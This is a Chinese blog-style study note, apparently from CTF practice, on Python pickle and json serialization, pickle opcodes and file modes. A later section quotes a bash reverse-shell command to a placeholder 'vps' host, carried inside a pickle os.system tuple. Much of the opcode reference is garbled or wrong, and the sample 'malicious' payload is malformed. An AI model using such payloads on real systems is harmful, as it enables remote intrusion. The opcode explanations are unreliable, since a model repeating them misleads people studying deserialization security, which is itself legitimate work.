前言:最近打比赛遇到了就简单记录学习一下
一、概念
什么是序列化?
序列化是将 Python 对象转换为一种可以存储或传输的格式的过程。常见的序列化格式包括 JSON、XML、protobuf 以及 Python 自带的 pickle
模块。
什么是反序列化?
反序列化是将序列化的数据转换回 Python 对象的过程。这使得我们可以从文件、网络或其他存储介质中恢复对象的状态。
Python 中的序列化和反序列化
1. 使用 pickle
模块
pickle
是 Python 内置的序列化和反序列化模块,它可以处理复杂的 Python 对象,包括类实例、列表、字典等。
序列化
import pickle
# 创建一个 Python 对象
data = {'name': 'Alice', 'age': 30}
# 将对象序列化为字节流
with open('data.pickle', 'wb') as f:
pickle.dump(data, f)
反序列化
import pickle
# 从字节流中反序列化对象
with open('data.pickle', 'rb') as f:
loaded_data = pickle.load(f)
print(loaded_data)
# 输出:{'name': 'Alice', 'age': 30}
2. 使用 json
模块
json
模块用于处理 JSON 格式的数据,它也是 Python 中常用的序列化和反序列化工具。
序列化
import json
# 创建一个 Python 对象
data = {'name': 'Alice', 'age': 30}
# 将对象序列化为 JSON 字符串
json_string = json.dumps(data)
# 将 JSON 字符串写入文件
with open('data.json', 'w') as f:
json.dump(data, f)
反序列化
import json
# 从 JSON 字符串中反序列化对象
json_string = '{"name": "Alice", "age": 30}'
loaded_data = json.loads(json_string)
# 从文件中读取 JSON 字符串并反序列化为对象
with open('data.json', 'r') as f:
loaded_data = json.load(f)
print(loaded_data)
# 输出:{'name': 'Alice', 'age': 30}
总结:
安全性考虑
pickle
模块的安全性问题
pickle
模块虽然功能强大,但存在一定的安全隐患。反序列化不受信任的数据可能导致安全问题,因为pickle
可以执行任意代码。因此,在处理不受信任的数据时,应尽量避免使用pickle
。更安全的选择
对于需要在网络上传输或存储的数据,建议使用更安全的序列化格式,如 JSON 或 XML。这些格式虽然不如
pickle
强大,但在安全性和跨平台兼容性方面更有优势。总结
- 序列化:将 Python 对象转换为可以存储或传输的格式。
- 反序列化:将序列化的数据转换回 Python 对象。
pickle
模块:支持复杂的 Python 对象,但存在安全风险。json
模块:支持 JSON 格式,更安全,适用于大多数应用场景。- 安全性:处理不受信任的数据时,应避免使用
pickle
。
注意:
pickle
和json
模块中的序列化和反序列化函数1.
pickle
模块
pickle.dumps(obj)
:
- 功能:将 Python 对象序列化为一个字节序列。
- 参数:
obj
是要序列化的 Python 对象。- 返回值:返回一个字节序列(
bytes
类型),表示序列化后的对象。
pickle.dump(obj, fp)
:
- 功能:将 Python 对象序列化并写入到一个文件对象
fp
中。- 参数:
obj
是要序列化的 Python 对象,fp
是一个打开的文件对象。- 用途:用于将对象直接写入到文件中。
2.
json
模块
json.dumps(obj)
:
- 功能:将 Python 对象序列化为一个 JSON 格式的字符串。
- 参数:
obj
是要序列化的 Python 对象。- 返回值:返回一个字符串,表示序列化后的对象。
json.dump(obj, fp)
:
- 功能:将 Python 对象序列化为 JSON 格式,并写入到一个文件对象
fp
中。- 参数:
obj
是要序列化的 Python 对象,fp
是一个打开的文件对象。- 用途:用于将对象直接写入到文件中。
pickle模块序列化格式
pickle反序列化初探 - 先知社区 (aliyun.com)
pickle
序列化格式由一系列标记组成,每个标记代表一种操作或数据类型。下面是一些常见的标记及其含义:
c
标记:
- 含义:表示全局对象(Global Object)。
- 格式:
c<module_name>\n<object_name>\n
。- 示例:
这表示从1c__builtin__ 2sys 3T
__builtin__
模块中引用sys
对象。
S
标记:
- 含义:表示字符串对象(String Object)。
- 格式:
S'your_string'\n
.- 示例:
这表示一个字符串对象1S'hello world' 2p0
'hello world'
。
p
标记:
- 含义:表示持久 ID(Persistent ID)。
- 格式:
p<id>\n
。- 示例:
这表示持久 ID 为 0 的对象。1p0
t
标记:
- 含义:表示字符串结束(Terminate String)。
- 格式:
t
.- 示例:
这表示字符串结束。1t
R
标记:
- 含义:表示返回值(Return Value)。
- 格式:
R
.- 示例:
这表示返回值。1R
F
标记:
- 含义:表示文件对象(File Object)。
- 格式:
F
.- 示例:
这表示文件对象。1F
d
标记:
- 含义:表示字典对象(Dictionary Object)。
- 格式:
(
(表示开始一个新的对象)。- 示例:
这表示开始一个新的对象。1(
.
标记:
- 含义:表示元组结束(End of Tuple)。
- 格式:
.
。- 示例:
这表示元组的结束。1.
(
标记:
- 含义:表示元组开始(Start of Tuple)。
- 格式:
(
。- 示例:
这表示元组的开始。1(
N
标记:
- 含义:表示
None
对象。- 格式:
N
.- 示例:
这表示1N
None
对象。
b
标记:
- 含义:表示布尔值对象。
- 格式:
I
(表示整数对象),然后是布尔值的整数值(0 或 1)。- 示例:
这表示布尔值1I0 2b
False
。
I
标记:
- 含义:表示整数对象。
- 格式:
I<integer_value>\n
。- 示例:
这表示整数1I42\n
42
。
L
标记:
- 含义:表示长整数对象。
- 格式:
L<long_integer_value>\n
。- 示例:
这表示长整数1L9223372036854775807\n
9223372036854775807
。
G
标记:
- 含义:表示浮点数对象。
- 格式:
G<float_value>\n
。- 示例:
这表示浮点数1G3.141592653589793\n
3.141592653589793
。
c
标记:
- 含义:表示复杂数对象。
- 格式:
c<real_part> <imaginary_part>\n
。- 示例:
这表示复数1c3.0 4.0\n
3.0 + 4.0j
。
S
标记:
- 含义:表示字符串对象。
- 格式:
S'string_value'\n
。- 示例:
这表示字符串1S'hello world' 2p0
'hello world'
。序列化示例
假设我们要序列化一个简单的字符串对象和一个全局对象
os.system
,并传递一个命令字符串给它执行。序列化代码示例
1import pickle 2 3# 构建一个恶意的序列化对象 4payload = ( 5 b"c__builtin__\n" 6 b"globals\n" 7 b"(\n" 8 b"c_os\n" 9 b"system\n" 10 b"T\n" 11 b"S'ls -l'\n" 12 b"t\n" 13 b"." 14) 15 16# 序列化对象并输出 17print(pickle.dumps(payload))
反序列化格式
反序列化的过程是根据
pickle
序列化格式中的标记逐步重建 Python 对象。下面是一个反序列化的示例。反序列化代码示例
1import pickle 2 3# 序列化后的字节串 4serialized_data = ( 5 b"c__builtin__\n" 6 b"globals\n" 7 b"(\n" 8 b"c_os\n" 9 b"system\n" 10 b"T\n" 11 b"S'ls -l'\n" 12 b"t\n" 13 b"." 14) 15 16# 反序列化对象 17try: 18 deserialized_object = pickle.loads(serialized_data) 19 print(deserialized_object) 20except Exception as e: 21 print(f"Error during deserialization: {e}")
解释
全局对象:
c__builtin__\n
:表示__builtin__
模块。globals\n
:表示globals()
函数。(\n
:表示开始一个新的对象。全局对象:
c_os\n
:表示os
模块。system\n
:表示os.system
函数。T\n
:表示对象的结束。字符串对象:
S'ls -l'\n
:表示一个字符串对象,其中包含一个命令字符串。t\n
:表示字符串结束。元组结束:
.\n
:表示元组的结束。
python中的文件操作模式
在 Python 中,当我们使用 open
函数打开文件时,可以指定不同的模式来控制文件的读写操作。这些模式通常以一个或多个字符的形式出现在 open
函数的第二个参数中。以下是常见的文件操作模式及其含义:
文件操作模式
-
r
(Read):- 说明:以只读方式打开文件。如果文件不存在,则会引发
FileNotFoundError
。 - 示例:
1with open('example.txt', 'r') as f: 2 content = f.read()
- 说明:以只读方式打开文件。如果文件不存在,则会引发
-
w
(Write):- 说明:以写入方式打开文件。如果文件已存在,其内容将被清空;如果文件不存在,则会创建新文件。
- 示例:
1with open('example.txt', 'w') as f: 2 f.write('Hello, world!')
-
a
(Append):- 说明:以追加方式打开文件。如果文件已存在,将在文件末尾追加内容;如果文件不存在,则会创建新文件。
- 示例:
1with open('example.txt', 'a') as f: 2 f.write('\nNew line added.')
-
b
(Binary):- 说明:以二进制模式打开文件。通常用于读写非文本文件,如图片或音频文件。
- 示例:
1with open('example.bin', 'rb') as f: 2 data = f.read()
-
+
(Update):- 说明:同时打开文件进行读写操作。通常与上述模式结合使用。
- 示例:
1with open('example.txt', 'r+') as f: 2 f.write('Updated text.') # 先写入,再读取 3 f.seek(0) # 移动文件指针到文件开头 4 content = f.read()
-
x
(Exclusive creation):- 说明:以独占方式创建新文件。如果文件已存在,则会引发
FileExistsError
。 - 示例:
1with open('newfile.txt', 'x') as f: 2 f.write('This is a new file.')
- 说明:以独占方式创建新文件。如果文件已存在,则会引发
-
t
(Text):- 说明:以文本模式打开文件,默认模式。通常用于文本文件。
- 示例:
1with open('example.txt', 'wt') as f: 2 f.write('Text mode example.')
组合模式
rt
:默认模式,表示以文本模式读取文件。wt
:以文本模式写入文件。at
:以文本模式追加文件。rb
:以二进制模式读取文件。wb
:以二进制模式写入文件。ab
:以二进制模式追加文件。r+b
:以二进制模式读写文件。w+b
:以二进制模式写入并读取文件。a+b
:以二进制模式追加并读取文件。
示例
以文本模式读取文件
1with open('example.txt', 'r') as f:
2 content = f.read()
3 print(content)
以文本模式写入文件
1with open('example.txt', 'w') as f:
2 f.write('Hello, world!')
以二进制模式读取文件
1with open('example.bin', 'rb') as f:
2 data = f.read()
以二进制模式写入文件
1with open('example.bin', 'wb') as f:
2 f.write(b'Binary data')
总结
r
:只读模式。w
:写入模式,会清空原有内容。a
:追加模式。b
:二进制模式。+
:读写模式。x
:独占创建模式。t
:文本模式(默认)。
补充:
反序列化列化过程
加载序列化内容:
pickle.loads(serialized_data)
会逐字节解析这个序列化的内容。解析字典:
- 解析出字典
{ 'user': None, 'username': None }
。解析元组:
- 解析出元组
(os.system, 'bash -c "bash -i >& /dev/tcp/vps/2333 0>&1"')
。执行命令:
- 当解析到元组时,
pickle
会尝试调用元组的第一个元素,并将元组的其余元素作为参数传递给该函数。元组的安全性
- 函数调用:如果元组的第一个元素是一个函数对象,并且该函数执行了某些危险的操作(如
os.system
),那么反序列化时可能会导致安全风险。- 类的实例化:如果元组的第一个元素是一个类对象,并且该类的构造函数执行了某些危险的操作,同样可能会导致安全风险。
字典的安全性
- 键值对:如果字典中的键值对包含了危险的操作(如调用某些不受信任的函数或方法),那么反序列化时可能会导致安全风险。
- 对象的状态:如果字典用来表示某个对象的状态,并且该对象的方法或属性执行了某些危险的操作,那么反序列化时可能会导致安全风险。
例子:
元组
import os
import pickle
class DangerousClass:
def __init__(self, filename, content):
with open(filename, 'w') as f:
f.write(content)
print(f"Wrote '{content}' to '{filename}'")
# 创建一个元组,表示实例化 `DangerousClass`
data = (DangerousClass, ('test.txt', 'This is a test message'))
# 序列化
serialized_data = pickle.dumps(data)
# 反序列化
deserialized_data = pickle.loads(serialized_data)
# 实例化对象
cls, args = deserialized_data
obj = cls(*args)
//解包元组
//cls 是元组的第一个元素,也就是类对象 DangerousClass。
//args 是元组的第二个元素,也就是构造函数所需的参数元组 ('test.txt', 'This is a test //message')。
//实例化对象
//cls 是前面解包得到的类对象 DangerousClass。
//*args 是将参数元组解包为单独的参数。这里 *args 会将元组 ('test.txt', 'This is a test //message') 解包成两个独立的参数 'test.txt' 和 'This is a test message'。
字典:
import os
import pickle
# 序列化一个包含函数调用的字典
data = {
'name': 'Alice',
'action': (os.system, ('echo Hello, world!',))
}
# 序列化
serialized_data = pickle.dumps(data)
# 反序列化
deserialized_data = pickle.loads(serialized_data)
# 执行函数调用
action = deserialized_data.get('action')
if action:
func, args = action
func(*args)